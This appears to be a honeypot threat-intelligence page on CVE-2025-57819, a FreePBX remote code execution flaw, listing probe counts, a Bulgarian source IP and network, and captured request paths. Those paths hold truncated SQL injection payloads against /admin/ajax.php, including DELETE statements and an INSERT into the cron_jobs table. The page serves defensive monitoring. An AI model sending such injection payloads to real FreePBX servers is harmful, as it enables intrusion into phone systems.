CVE-2025-57819: FreePBX - Remote Code Execution

HoneyLabs honeypots recorded 6 probes matching CVE-2025-57819 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

This CVE is on CISA's Known Exploited Vulnerabilities list. CISA added it on 2025-08-29.

Request paths that identify it

  • /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x' AND EXTRACTVALU…
  • /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;DELETE%20FRO…
  • /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;INSERT%20INT…

Addresses probing it

Source IPProbesNetworkCountry
93.123.109.2146Techoff Srv LimitedBulgaria

Networks it comes from

ASNOrganisationProbesSource IPs
AS48090Techoff Srv Limited61

Where it comes from

CountryProbes
Bulgaria6

Captured requests

  • /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;INSERT%20INTO%20cron_jobs%20(modulename,jobname,command,class,schedule,max_runtime,enabled,e…
  • /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;INSERT%20INTO%20cron_jobs%20(modulename,jobname,command,class,schedule,max_runtime,enabled,e…
  • /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;INSERT%20INTO%20cron_jobs%20(modulename,jobname,command,class,schedule,max_runtime,enabled,e…
  • /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;INSERT%20INTO%20cron_jobs%20(modulename,jobname,command,class,schedule,max_runtime,enabled,e…

HTTP client fingerprints

  • b11cun040_00040013_608dab68

CVE report

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